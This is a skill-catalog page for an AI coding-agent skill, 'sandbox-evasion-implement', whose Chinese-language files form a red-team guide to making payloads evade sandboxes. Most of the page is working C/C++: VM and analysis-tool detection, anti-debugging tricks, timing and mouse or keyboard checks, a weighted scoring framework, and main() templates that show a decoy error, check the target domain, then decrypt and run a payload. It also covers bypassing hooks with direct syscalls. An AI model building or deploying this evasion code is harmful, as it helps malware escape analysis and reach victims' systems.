
Sandbox Evasion Implement
- 24 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
sandbox-evasion-implement is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- sandbox-evasion-implement
- AI & Agent Building
- AI-coding skill
Sandbox Evasion Implement by the numbers
- 24 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,876 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill sandbox-evasion-implementAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 24 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
沙箱逃逸与反分析技术
定位:红队载荷投递前的反沙箱层设计。不是"分析沙箱逃逸",而是"实现沙箱逃逸"。
⛔ 深入参考
- 完整反虚拟化/反调试代码片段集 → references/anti-vm-snippets.md
- 定时与用户交互逃逸实现 → references/timing-interaction.md
---
设计原则
⛔ NEVER 只用单一逃逸手法 — 沙箱可以 hook 任何单一 API ⛔ ALWAYS 组合 3+ 种不同类别的检测,通过才执行 payload
逃逸层架构(洋葱模型):
┌─────────────────────────────────┐
│ Layer 1: 环境指纹(VM/沙箱检测)│
├─────────────────────────────────┤
│ Layer 2: 时间校验(Sleep 篡改) │
├─────────────────────────────────┤
│ Layer 3: 用户交互(非自动化) │
├─────────────────────────────────┤
│ Layer 4: 执行守卫(地理/域/进程)│
├─────────────────────────────────┤
│ Payload 解密执行 │
└─────────────────────────────────┘
所有 Layer 通过 → 才解密执行 payload
任一 Layer 失败 → 执行 decoy 行为或静默退出Phase 1: 环境指纹检测
1.1 虚拟化检测(T1497.001)
检测项(选 3+ 组合):
├─ CPUID 指令 → Hypervisor Brand String
├─ 注册表 → HKLM\SYSTEM\CurrentControlSet\Enum\*VMware*
├─ MAC 地址前缀 → 00:0C:29(VMware) / 08:00:27(VBox)
├─ 设备驱动 → vmtoolsd.exe / VBoxService.exe
├─ BIOS 字符串 → SMBIOS 中的 "VBOX" / "VMware"
├─ 硬件 → CPU 核心数 < 2 / RAM < 4GB / 磁盘 < 60GB
└─ RDTSC 时间差 → VM Exit 导致延迟异常1.2 沙箱进程检测
已知沙箱进程名(存在即沙箱):
├─ cuckoomon.dll / agent.py / analyzer.py (Cuckoo)
├─ SbieDll.dll (Sandboxie)
├─ dbghelp.dll in unexpected path (AnyRun)
├─ frida-agent / xposed (Mobile sandbox)
└─ 用 CreateToolhelp32Snapshot 枚举进程列表1.3 硬件资源检测
// 最简单有效:沙箱通常资源受限
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) exit(0); // < 4GB
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) exit(0); // < 2 CPUPhase 2: 时间校验逃逸(T1497.003)
原理:沙箱为加速分析会 patch Sleep() → 实际未等待
检测方式:
├─ Sleep 前后对比 GetTickCount → 差值远小于预期 = 被 hook
├─ NtDelayExecution + QueryPerformanceCounter 交叉验证
├─ RDTSC 指令直接读 CPU 时钟 → 不受 API hook 影响
└─ WaitForSingleObject(INVALID_HANDLE, timeout) 替代 Sleep核心模式(不依赖 Sleep API):
1. 记录时间 T1 (QueryPerformanceCounter)
2. 执行一段计算密集型操作(如 SHA256 10万次)
3. 记录时间 T2
4. T2 - T1 应在合理范围内 → 否则被加速/虚拟化Phase 3: 用户交互检测(T1497.002)
原理:沙箱通常无真实用户操作
├─ 鼠标移动 → GetCursorPos 间隔采样,无变化 = 沙箱
├─ 点击计数 → GetAsyncKeyState 检测至少 N 次点击
├─ 窗口交互 → 要求用户点击对话框/输入内容才继续
├─ 文档宏 → 需要滚动到特定页/关闭后触发
└─ 浏览器 → 需要真实鼠标路径(非直线移动)Phase 4: 执行守卫(Guardrails / T1480)
限制 payload 只在目标环境执行:
├─ 域名检测 → GetComputerNameEx() 匹配目标域
├─ 用户名检测 → 排除 "admin" / "sandbox" / "analyst"
├─ 地理位置 → IP 地理定位 API 或系统时区
├─ 已加入域 → 非 WORKGROUP = 企业环境
├─ 文件/注册表触发 → 特定文件存在才执行
└─ 环境变量 → 特定内部工具留下的 env varPhase 5: 逃逸后的 Payload 执行
所有检测通过后:
├─ 解密 payload(AES key 可从环境派生 → 沙箱无法解密)
├─ 内存加载(不落盘)
├─ 延迟执行(Sleep 真实 5-10 分钟后再连 C2)
└─ 清理检测痕迹现代沙箱的反逃逸手段(需了解)
| 沙箱技术 | 对抗你的逃逸 | 你的应对 |
|---|---|---|
| Hook Sleep → 返回真实时间 | 打败简单 Sleep 检测 | 用 RDTSC / 计算密集型 |
| 模拟鼠标移动 | 打败简单 GetCursorPos | 检测移动轨迹是否自然 |
| 增加 CPU/RAM | 打败资源检测 | 组合多项,不依赖单一 |
| 伪装注册表 | 隐藏 VM 指纹 | 用 CPUID / RDTSC 底层指令 |
| 延长分析时间 | 等待 Sleep 结束 | Guardrails(域名/用户) |
决策:优先级排序
成本效益比(最高 → 最低):
1. Guardrails(域/用户名)— 0 成本,直接过沙箱
2. 时间校验(RDTSC)— 底层,难 hook
3. 硬件资源(CPU+RAM+磁盘)— 简单有效
4. 用户交互(需配合社工载荷)
5. 虚拟化特征(最容易被对抗)反虚拟化/反调试代码片段集
虚拟化检测(C/C++)
CPUID 检测
#include <intrin.h>
int detect_hypervisor() {
int cpuinfo[4] = {0};
__cpuid(cpuinfo, 1);
// ECX bit 31 = Hypervisor Present
return (cpuinfo[2] >> 31) & 1;
}
char* get_hypervisor_brand() {
int cpuinfo[4] = {0};
static char brand[13] = {0};
__cpuid(cpuinfo, 0x40000000);
memcpy(brand, &cpuinfo[1], 4); // EBX
memcpy(brand + 4, &cpuinfo[2], 4); // ECX
memcpy(brand + 8, &cpuinfo[3], 4); // EDX
// "VMwareVMware" / "Microsoft Hv" / "VBoxVBoxVBox" / "KVMKVMKVM"
return brand;
}RDTSC 时间差检测
#include <intrin.h>
int detect_vm_rdtsc() {
unsigned long long t1, t2;
t1 = __rdtsc();
// 执行一个简单操作(不能被优化掉)
__cpuid((int[4]){0}, 0);
t2 = __rdtsc();
// VM 下 CPUID 触发 VM Exit → 时间差 > 1000 cycles
// 物理机 < 500 cycles
return (t2 - t1) > 1000;
}注册表检测 (Windows)
int detect_vm_registry() {
HKEY hKey;
// VMware
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return 1;
}
// VirtualBox
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Oracle\\VirtualBox Guest Additions", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return 1;
}
// Hyper-V
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return 1;
}
return 0;
}MAC 地址前缀检测
int detect_vm_mac() {
// 已知虚拟化 MAC 前缀
const char* vm_macs[] = {
"00:0C:29", // VMware
"00:50:56", // VMware
"08:00:27", // VirtualBox
"00:1C:42", // Parallels
"00:16:3E", // Xen
"00:15:5D", // Hyper-V
NULL
};
// 通过 GetAdaptersInfo 获取 MAC 并比对
// ...
return 0;
}硬件资源检测
int detect_sandbox_resources() {
int score = 0;
// CPU 核心 < 2
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) score++;
// 内存 < 4GB
MEMORYSTATUSEX mem = {sizeof(mem)};
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) score++;
// 磁盘 < 60GB
ULARGE_INTEGER disk;
GetDiskFreeSpaceEx("C:\\", NULL, &disk, NULL);
if (disk.QuadPart < 60ULL * 1024 * 1024 * 1024) score++;
// 屏幕分辨率异常
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
if (cx <= 800 || cy <= 600) score++;
// 2+ 项命中 → 可能是沙箱
return score >= 2;
}进程检测
int detect_analysis_tools() {
const wchar_t* badProcesses[] = {
L"wireshark.exe", L"procmon.exe", L"procexp.exe",
L"x64dbg.exe", L"x32dbg.exe", L"ollydbg.exe",
L"idaq.exe", L"idaq64.exe", L"ida.exe",
L"pestudio.exe", L"fiddler.exe",
L"vmtoolsd.exe", L"vmwaretray.exe", // VMware
L"VBoxService.exe", L"VBoxTray.exe", // VBox
L"sandboxiedcomlaunch.exe", // Sandboxie
NULL
};
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe = {sizeof(pe)};
Process32FirstW(snapshot, &pe);
do {
for (int i = 0; badProcesses[i]; i++) {
if (_wcsicmp(pe.szExeFile, badProcesses[i]) == 0) {
CloseHandle(snapshot);
return 1;
}
}
} while (Process32NextW(snapshot, &pe));
CloseHandle(snapshot);
return 0;
}反调试检测
IsDebuggerPresent 及绕过
// 基础检测(容易被 hook)
if (IsDebuggerPresent()) exit(0);
// 直接读 PEB(绕过 API hook)
#ifdef _WIN64
BOOL debugged = *(PBOOL)((PBYTE)__readgsqword(0x60) + 2);
#else
BOOL debugged = *(PBOOL)((PBYTE)__readfsdword(0x30) + 2);
#endif
// NtQueryInformationProcess(多种检测)
typedef NTSTATUS(WINAPI* pNtQIP)(HANDLE, int, PVOID, ULONG, PULONG);
pNtQIP NtQIP = (pNtQIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
// ProcessDebugPort (0x7)
DWORD_PTR debugPort = 0;
NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
if (debugPort) exit(0);
// ProcessDebugObjectHandle (0x1E)
HANDLE debugObj = NULL;
NtQIP(GetCurrentProcess(), 0x1E, &debugObj, sizeof(debugObj), NULL);
if (debugObj) exit(0);
// ProcessDebugFlags (0x1F) — 返回 0 表示被调试
DWORD noDebug = 0;
NtQIP(GetCurrentProcess(), 0x1F, &noDebug, sizeof(noDebug), NULL);
if (noDebug == 0) exit(0);硬件断点检测
int detect_hardware_breakpoints() {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(GetCurrentThread(), &ctx)) {
if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3) {
return 1; // 有硬件断点
}
}
return 0;
}INT 2D 反调试
// INT 2D 在非调试状态会触发异常
// 在调试器中会被当作断点吞掉
__try {
__asm { int 0x2d }
// 如果到这里 → 被调试(异常被调试器处理了)
exit(0);
} __except (EXCEPTION_EXECUTE_HANDLER) {
// 正常执行 → 未被调试
}组合检测框架
typedef int (*check_func)();
typedef struct {
check_func func;
const char* name;
int weight;
} SecurityCheck;
int run_all_checks() {
SecurityCheck checks[] = {
{detect_hypervisor, "CPUID Hypervisor", 2},
{detect_vm_rdtsc, "RDTSC Timing", 3},
{detect_vm_registry, "VM Registry", 2},
{detect_vm_mac, "VM MAC Address", 1},
{detect_sandbox_resources, "Low Resources", 2},
{detect_analysis_tools, "Analysis Tools", 3},
{detect_hardware_breakpoints, "HW Breakpoints", 3},
};
int total_score = 0;
int num_checks = sizeof(checks) / sizeof(checks[0]);
for (int i = 0; i < num_checks; i++) {
if (checks[i].func()) {
total_score += checks[i].weight;
}
}
// 阈值:得分 >= 4 认为是分析环境
return total_score >= 4;
}
// 使用
int main() {
if (run_all_checks()) {
// 执行无害行为(decoy)
MessageBox(NULL, "Application Error", "Error", MB_OK);
return 1;
}
// 执行真实 payload
decrypt_and_execute_payload();
return 0;
}定时与用户交互沙箱逃逸实现
沙箱的核心弱点:有限的分析时间和缺乏真实用户。利用这两点可以绕过绝大多数自动化分析环境。
---
1. 时间类逃逸技术
1.1 Sleep 延迟检测 (NtDelayExecution Hook Detection)
// 沙箱常见行为: Hook Sleep/NtDelayExecution → 跳过等待
// 检测方法: 测量 Sleep 前后的真实时间差
#include <windows.h>
int detect_sleep_acceleration() {
DWORD t1 = GetTickCount();
Sleep(10000); // Sleep 10 秒
DWORD t2 = GetTickCount();
DWORD elapsed = t2 - t1;
// 如果实际经过时间 < 9 秒 → Sleep 被加速/跳过
if (elapsed < 9000) {
return 1; // 沙箱
}
return 0;
}1.2 QueryPerformanceCounter 一致性检查
// 使用高精度计时器,比 GetTickCount 更难 hook
int detect_timing_inconsistency() {
LARGE_INTEGER freq, t1, t2;
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&t1);
// 执行一段已知耗时的操作
volatile int x = 0;
for (int i = 0; i < 100000000; i++) {
x += i;
}
QueryPerformanceCounter(&t2);
double elapsed_ms = (double)(t2.QuadPart - t1.QuadPart) * 1000.0 / freq.QuadPart;
// 1亿次循环在真实 CPU 上约 200-800ms
// 如果 < 50ms → 被加速或虚拟化
// 如果 > 5000ms → 被单步调试
if (elapsed_ms < 50 || elapsed_ms > 5000) {
return 1;
}
return 0;
}1.3 RDTSC 时序检测 (Detect Single-Step Debugger)
// RDTSC 直接读取 CPU 时间戳计数器
// 调试器单步执行时每条指令间隔极大
int detect_debugger_rdtsc() {
unsigned long long t1, t2;
t1 = __rdtsc();
// 中间执行一些指令(不能被优化掉)
__cpuid((int[4]){0}, 0);
__cpuid((int[4]){0}, 0);
__cpuid((int[4]){0}, 0);
t2 = __rdtsc();
// 物理机正常执行: 差值 < 1000 cycles
// VM Exit 导致: 差值约 1000-5000 cycles
// 调试器单步: 差值 >> 10000 cycles
if (t2 - t1 > 10000) {
return 1; // 被调试
}
return 0;
}1.4 时间加速检测 (Sleep 10s + 验证)
// 综合方法: 多个时间源交叉验证
int detect_time_acceleration() {
// 获取系统时间(NTP 同步的真实时间)
SYSTEMTIME st1, st2;
GetSystemTime(&st1);
// 获取 Tick(开机后经过的时间)
DWORD tick1 = GetTickCount64();
// Sleep 10 秒
Sleep(10000);
GetSystemTime(&st2);
DWORD tick2 = GetTickCount64();
// 计算两种时间源的差值
DWORD tick_elapsed = tick2 - tick1;
// 系统时间差(秒)
ULONGLONG ft1, ft2;
SystemTimeToFileTime(&st1, (FILETIME*)&ft1);
SystemTimeToFileTime(&st2, (FILETIME*)&ft2);
double sys_elapsed_ms = (double)(ft2 - ft1) / 10000.0;
// 两个时间源应该一致
// 如果 tick 差远小于 sys 差 → tick 被加速
// 如果 sys 差远小于 tick 差 → 系统时间被修改
double ratio = tick_elapsed / sys_elapsed_ms;
if (ratio < 0.8 || ratio > 1.2) {
return 1; // 时间不一致 → 分析环境
}
// Sleep 是否真的等了 10 秒
if (tick_elapsed < 9000) {
return 1;
}
return 0;
}1.5 计划执行 (Wait Until Business Hours)
// 只在工作时间执行 → 沙箱通常不等待数小时
int wait_for_business_hours() {
while (1) {
SYSTEMTIME st;
GetLocalTime(&st);
// 工作日 (周一=1 到 周五=5) 且 9:00-17:00
if (st.wDayOfWeek >= 1 && st.wDayOfWeek <= 5 &&
st.wHour >= 9 && st.wHour < 17) {
return 1; // 工作时间,执行 payload
}
// 非工作时间 → 等 30 分钟再检查
Sleep(30 * 60 * 1000);
}
}1.6 Slow-Burn 延迟执行
// 延迟数天后执行 → 超出任何沙箱的分析时间
int slow_burn_check() {
// 方法 1: 检查系统安装日期 → 只在已运行数天的系统上执行
HKEY hKey;
DWORD installDate = 0;
DWORD size = sizeof(DWORD);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hKey);
RegQueryValueEx(hKey, "InstallDate", NULL, NULL,
(LPBYTE)&installDate, &size);
RegCloseKey(hKey);
time_t now = time(NULL);
// 系统安装超过 3 天
if ((now - installDate) < 3 * 24 * 3600) {
return 0; // 太新的系统 → 可能是沙箱
}
// 方法 2: 检查系统运行时间
DWORD uptime = GetTickCount64() / 1000;
if (uptime < 30 * 60) { // 运行时间 < 30 分钟
return 0; // 刚启动 → 可能是沙箱
}
return 1;
}---
2. 用户交互检测
2.1 鼠标移动模式检测
// 真实用户的鼠标轨迹有随机性和弯曲度
// 沙箱模拟的鼠标通常是直线/匀速
int detect_real_mouse_movement() {
POINT points[20];
int movement_count = 0;
for (int i = 0; i < 20; i++) {
GetCursorPos(&points[i]);
Sleep(500);
}
// 检查是否有移动
for (int i = 1; i < 20; i++) {
if (points[i].x != points[i-1].x ||
points[i].y != points[i-1].y) {
movement_count++;
}
}
// 10 秒内至少 3 次移动
if (movement_count < 3) {
return 0; // 无鼠标移动 → 沙箱
}
// 检查非直线运动(真实用户的鼠标轨迹有弯曲)
int direction_changes = 0;
for (int i = 2; i < 20; i++) {
int dx1 = points[i-1].x - points[i-2].x;
int dy1 = points[i-1].y - points[i-2].y;
int dx2 = points[i].x - points[i-1].x;
int dy2 = points[i].y - points[i-1].y;
// 方向变化
if ((dx1 > 0 && dx2 < 0) || (dx1 < 0 && dx2 > 0) ||
(dy1 > 0 && dy2 < 0) || (dy1 < 0 && dy2 > 0)) {
direction_changes++;
}
}
// 真实用户至少有几次方向变化
if (direction_changes < 2) {
return 0; // 直线运动 → 模拟鼠标
}
return 1;
}2.2 键盘输入检测
// 真实系统中用户会有键盘输入
int detect_keyboard_activity() {
int key_count = 0;
// 监听 30 秒
DWORD start = GetTickCount();
while (GetTickCount() - start < 30000) {
for (int vk = 0x08; vk <= 0xFE; vk++) {
if (GetAsyncKeyState(vk) & 0x0001) {
key_count++;
}
}
Sleep(100);
}
// 30 秒内至少有一些按键
return key_count > 5 ? 1 : 0;
}2.3 屏幕分辨率与多显示器
int detect_real_display() {
int score = 0;
// 分辨率检查
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
// 常见真实分辨率: 1920x1080, 2560x1440, 3840x2160
// 沙箱常见: 800x600, 1024x768
if (cx >= 1920 && cy >= 1080) score++;
if (cx <= 800 || cy <= 600) return 0; // 太低 → 沙箱
// 多显示器检查
int monitors = GetSystemMetrics(SM_CMONITORS);
if (monitors >= 2) score++; // 多显示器 → 大概率真实
// 颜色深度
HDC hdc = GetDC(NULL);
int bits = GetDeviceCaps(hdc, BITSPIXEL);
ReleaseDC(NULL, hdc);
if (bits >= 32) score++;
return score >= 1 ? 1 : 0;
}2.4 打开的窗口数量
// 真实用户通常有多个窗口打开
DWORD g_window_count = 0;
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {
if (IsWindowVisible(hwnd)) {
g_window_count++;
}
return TRUE;
}
int detect_window_count() {
g_window_count = 0;
EnumWindows(EnumWindowsProc, 0);
// 真实用户通常 > 10 个可见窗口
return g_window_count > 10 ? 1 : 0;
}2.5 最近文件与浏览器历史
int detect_user_artifacts() {
int score = 0;
// RecentDocs 注册表 — 记录最近打开的文件
HKEY hKey;
DWORD count = 0;
if (RegOpenKeyEx(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, NULL, NULL,
&count, NULL, NULL, NULL, NULL);
RegCloseKey(hKey);
if (count > 20) score++; // 真实用户有大量最近文件
}
// 浏览器 profile 目录存在
char path[MAX_PATH];
ExpandEnvironmentStringsA(
"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default",
path, MAX_PATH);
if (GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES) {
score++; // Chrome profile 存在
}
// USB 设备历史
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Enum\\USB", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
DWORD subkeys = 0;
RegQueryInfoKey(hKey, NULL, NULL, NULL, &subkeys, NULL, NULL,
NULL, NULL, NULL, NULL, NULL);
RegCloseKey(hKey);
if (subkeys > 10) score++; // 多个 USB 设备历史
}
// 打印机数量
DWORD needed = 0, returned = 0;
EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 1, NULL, 0, &needed, &returned);
if (returned > 0) score++; // 有安装的打印机
return score >= 2 ? 1 : 0;
}---
3. 环境 Fingerprinting
3.1 综合环境评分
typedef struct {
const char* name;
int (*check_func)();
int weight;
} EnvironmentCheck;
int check_memory() {
MEMORYSTATUSEX mem = { sizeof(mem) };
GlobalMemoryStatusEx(&mem);
return mem.ullTotalPhys >= 4ULL * 1024 * 1024 * 1024; // >= 4GB
}
int check_cpu_cores() {
SYSTEM_INFO si;
GetSystemInfo(&si);
return si.dwNumberOfProcessors >= 2;
}
int check_disk_size() {
ULARGE_INTEGER total;
GetDiskFreeSpaceExA("C:\\", NULL, &total, NULL);
return total.QuadPart >= 60ULL * 1024 * 1024 * 1024; // >= 60GB
}
int check_process_count() {
DWORD pids[1024];
DWORD needed;
EnumProcesses(pids, sizeof(pids), &needed);
int count = needed / sizeof(DWORD);
return count >= 40; // 真实系统通常 > 40 个进程
}
int check_installed_programs() {
HKEY hKey;
DWORD subkeys = 0;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",
0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryInfoKey(hKey, NULL, NULL, NULL, &subkeys,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
RegCloseKey(hKey);
}
return subkeys >= 20; // 真实系统通常安装 20+ 程序
}
int check_domain_joined() {
LPWSTR buf = NULL;
NETSETUP_JOIN_STATUS status;
NetGetJoinInformation(NULL, &buf, &status);
if (buf) NetApiBufferFree(buf);
return status == NetSetupDomainName; // 已加域 → 企业环境
}
int check_uptime() {
DWORD uptime_sec = GetTickCount64() / 1000;
return uptime_sec >= 30 * 60; // 运行 >= 30 分钟
}---
4. 综合检测框架 (C/C++)
4.1 分数累计法
// 核心理念: 单个弱信号不可靠,多个弱信号累计 = 强判断
int comprehensive_sandbox_check() {
EnvironmentCheck checks[] = {
{"Memory >= 4GB", check_memory, 2},
{"CPU >= 2 cores", check_cpu_cores, 2},
{"Disk >= 60GB", check_disk_size, 2},
{"Process count >= 40", check_process_count, 3},
{"Installed programs", check_installed_programs, 2},
{"Domain joined", check_domain_joined, 3},
{"Uptime >= 30min", check_uptime, 2},
{"Real display", detect_real_display, 2},
{"Window count > 10", detect_window_count, 2},
{"User artifacts", detect_user_artifacts, 3},
{"Sleep not hooked", detect_sleep_acceleration, 4},
{"RDTSC consistent", detect_timing_inconsistency, 3},
{"Mouse movement", detect_real_mouse_movement, 3},
};
int total_score = 0;
int max_score = 0;
int num_checks = sizeof(checks) / sizeof(checks[0]);
for (int i = 0; i < num_checks; i++) {
max_score += checks[i].weight;
if (checks[i].check_func()) {
total_score += checks[i].weight;
}
}
// 通过率 >= 60% → 认为是真实环境
// 阈值可根据目标调整(越高越严格,但可能误判)
double pass_rate = (double)total_score / max_score;
return pass_rate >= 0.60 ? 1 : 0; // 1 = 真实环境, 0 = 沙箱
}4.2 使用模板
// 完整逃逸流程
int main() {
// Phase 1: 综合环境检测
if (!comprehensive_sandbox_check()) {
// 执行无害 decoy 行为
MessageBoxA(NULL, "This application requires .NET 4.8",
"Runtime Error", MB_ICONERROR);
return 1;
}
// Phase 2: Guardrails (目标环境限制)
// 只在目标域执行
char domain[256] = {0};
DWORD size = 256;
GetComputerNameExA(ComputerNameDnsDomain, domain, &size);
if (strstr(domain, "target-corp.local") == NULL) {
return 0; // 非目标环境 → 静默退出
}
// Phase 3: 解密并执行 payload
decrypt_and_execute_payload();
return 0;
}4.3 直接 Syscall 版本 (规避 Hook)
// 沙箱通过 hook ntdll.dll 拦截 API 调用
// 直接使用 syscall 指令可以绕过 hook
// 示例: 直接调用 NtDelayExecution (替代 Sleep)
// syscall number 在不同 Windows 版本不同
// 方法: 运行时从 ntdll.dll 读取 syscall number
DWORD get_syscall_number(const char* func_name) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
BYTE* func = (BYTE*)GetProcAddress(ntdll, func_name);
// Nt 函数开头: mov r10, rcx; mov eax, <syscall_number>
// 字节序列: 4C 8B D1 B8 XX XX XX XX
if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1 &&
func[3] == 0xB8) {
return *(DWORD*)(func + 4);
}
// 如果被 hook(开头不是标准模式)→ 从磁盘上的 ntdll 读取
return 0;
}
// 使用 SysWhispers3 / HellsGate / HalosGate 自动化实现
// 这些工具自动解析 syscall number 并生成直接调用代码---
5. 对抗策略总结
效果与隐蔽性矩阵:
技术 | 绕过效果 | 实现难度 | 被检测风险
-----------------------|---------|---------|----------
Sleep + GetTickCount | 低 | 低 | 高(已被大多数沙箱对抗)
RDTSC timing | 高 | 中 | 低(底层指令难 hook)
用户交互检测 | 高 | 中 | 低(沙箱难以完美模拟)
环境资源检查 | 中 | 低 | 中(沙箱可增加资源)
Guardrails (域名/用户) | 极高 | 低 | 极低(沙箱无法匹配目标)
分数累计法 | 极高 | 中 | 极低(多个弱信号组合)
直接 syscall | 高 | 高 | 低(绕过 hook 层)
推荐组合(最佳实践):
├─ Guardrails(目标域检测)→ 零成本直接过沙箱
├─ RDTSC timing → 底层难 hook
├─ 分数累计法(5+ 环境指标)→ 容忍单项误判
└─ 直接 syscall → 绕过 hook 层---
关联参考
- 完整反虚拟化/反调试代码片段集 →
anti-vm-snippets.md
Related skills
AI & Agent Buildingagents